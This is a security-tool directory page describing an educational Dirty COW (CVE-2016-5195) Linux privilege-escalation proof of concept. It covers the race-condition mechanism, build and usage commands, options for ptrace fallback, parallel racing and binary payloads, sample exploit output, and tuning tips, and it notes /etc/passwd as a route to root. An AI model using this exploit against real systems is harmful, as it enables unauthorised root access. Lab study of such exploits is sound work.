Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/im-mohammad-hosseini/dirtycow-lab
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubim-mohammad-hosseini/dirtycow-lab

dirtycow-lab

Educational PoC for Dirty COW (CVE-2016-5195) with logging, ptrace fallback, and binary payload support.

저장소 보기
12025년 8월 1일아직 검토되지 않음
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

Dirty COW Educational PoC (CVE-2016-5195)

⚠️ Legal Warning

This code is for EDUCATIONAL PURPOSES ONLY. Any malicious use is strictly prohibited and illegal.

📖 What is Dirty COW?

Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel that exploits a race condition in the kernel's copy-on-write (COW) mechanism. This vulnerability affects Linux kernels from version 2.6.22 (released in 2007) to versions before:

  • 4.8.3
  • 4.7.9
  • 4.4.26

Technical Details

The vulnerability occurs in the kernel's memory management system:

  1. Copy-On-Write (COW): When a process maps a file with MAP_PRIVATE, modifications should create a private copy
  2. Race Condition: Two threads racing between madvise(MADV_DONTNEED) and writing to /proc/self/mem
  3. Exploitation: Under specific timing conditions, writes can bypass COW protection and modify the original file

Impact

  • Privilege Escalation: Modify read-only files owned by root
  • System Compromise: Potential to gain root access by modifying system files like /etc/passwd
  • Data Integrity: Unauthorized modification of critical system files

🛡️ Security Notes for Testing

⚠️ CRITICAL: Test Only in Isolated Environment

NEVER run this on production systems or systems you don't own!

Recommended Test Environment:

  1. Virtual Machine (VM): Use VMware, VirtualBox, or KVM
  2. Container: Docker container with vulnerable kernel
  3. Isolated Lab: Dedicated test machine with no important data
  4. Kernel Requirements: Linux kernel versions 2.6.22 to 4.8.2

Safe Testing Practices:

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Compilation & Usage

Prerequisites

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Compilation

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Basic Usage

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Command Line Options

OptionDescriptionDefaultMax
-t <file>Target file path/tmp/dirty_cow_test-
-p <payload>Custom text payloadTest string-
-f <file>Load binary payload from file--
-i <num>Number of iterations10,000,000100,000,000
-n <num>Number of parallel processes18
-r <num>Retry attempts110
-PUse ptrace instead of /proc/self/memDisabled-
-DEnable dynamic offset scanningDisabled-
-vVerbose outputDisabled-
-l <file>Log file pathexploit_log.txt-
-hShow help--

🔬 Advanced Features

1. Multiple Attack Methods

  • Method 1: /proc/self/mem writing (default)
  • Method 2: ptrace(PTRACE_POKETEXT) for restricted systems

2. Dynamic Offset Scanning

Scans multiple memory offsets to find the best write position:

./main -D -v  # Enable dynamic offset scanning

3. Multi-Process Race Conditions

Launch multiple processes for intense race conditions:

./main -n 4  # Use 4 parallel processes

4. Binary Payload Support

Load arbitrary binary data from files:

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Automatic Retry Logic

Retry failed attempts automatically:

./main -r 5  # Retry up to 5 times

6. File Integrity Verification

Uses SHA-256 hashing to verify file modifications:

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Output & Logging

Console Output Example

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Log File Format

The tool creates detailed logs in exploit_log.txt:

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Test Scenarios

Scenario 1: Basic Functionality Test

# Test basic exploit functionality
./main -t /tmp/basic_test -v

Scenario 2: Stress Test

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Scenario 3: Restricted Environment

# Test when /proc/self/mem is blocked
./main -P -D -v

Scenario 4: Binary Payload Test

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Understanding the Exploit

Race Condition Timing

The exploit works by creating a race between two operations:

  1. Thread 1: madvise(MADV_DONTNEED) - Tells kernel to discard memory pages
  2. Thread 2: Writing to /proc/self/mem - Attempts to write to mapped memory

Success Factors

  • Kernel Version: Must be vulnerable (< 4.8.3)
  • Timing: Race condition must occur at precise moment
  • Memory Mapping: File must be mapped with MAP_PRIVATE
  • Permissions: Must have read access to target file

Why It Works

When the race condition succeeds:

  1. Thread 1 discards the COW page
  2. Thread 2 writes occur before new COW page is created
  3. Write goes directly to original file instead of private copy

🛠️ Troubleshooting

Common Issues

1. "Exploit failed or insufficient iterations"

  • Solution: Increase iterations with -i or use multiple processes -n

2. "/proc/self/mem access failed"

  • Solution: Use ptrace method with -P flag

3. "System may not be vulnerable"

  • Check kernel version: uname -r
  • Ensure kernel is older than 4.8.3

4. System becomes unresponsive

  • Reduce iterations: -i 1000000
  • Use fewer processes: -n 1

Performance Tuning

# Conservative settings (slower but safer)
./main -i 5000000 -n 1

# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D

# Balanced settings
./main -i 20000000 -n 2 -r 2 -D

📚 Educational Resources

CVE Information

  • CVE-2016-5195: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
  • NVD Database: https://nvd.nist.gov/vuln/detail/CVE-2016-5195
도구 다운로드

관련 도구

  • PEASS-ng

    PEASS - 권한 상승 멋진 스크립트 스위트 (색상 포함)

  • PrivescCheck

    Windows용 권한 상승 열거 스크립트

  • LinEnum

    스크립트 기반 로컬 Linux 열거 및 권한 상승 점검

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    745
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    SMS를 가로채고, 메시지를 주입하며, 모바일 기기를 추적하기 위해 악성 GSM 셀을 배포하는 IMSI Catcher 플랫폼

    732
  • 3

    Callisto

    jetp1ane/callisto

    Ghidra를 통해 실행 파일을 디컴파일하고, Semgrep으로 의사 C 코드를 스캔하며, GPT-3.5-Turbo를 사용하여 결과를 검증해 거짓 양성을 줄이는 자동화된 바이너리 취약점 분석 도구입니다.

    610
  • 4

    opencti

    opencti-platform/opencti

    오픈 사이버 위협 인텔리전스 플랫폼

    546
  • 5

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    414
  • 6

    DFRoot

    a2333c/dfroot

    삼성 Galaxy S25 Ultra(SM-S938B)용 Android 루트 도구로, DirtyFrag CVE-2026-43284와 CVE-2026-43499를 연쇄하여 KernelSU를 통해 부팅 시 자동으로 루트 권한을 획득합니다.

    413

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →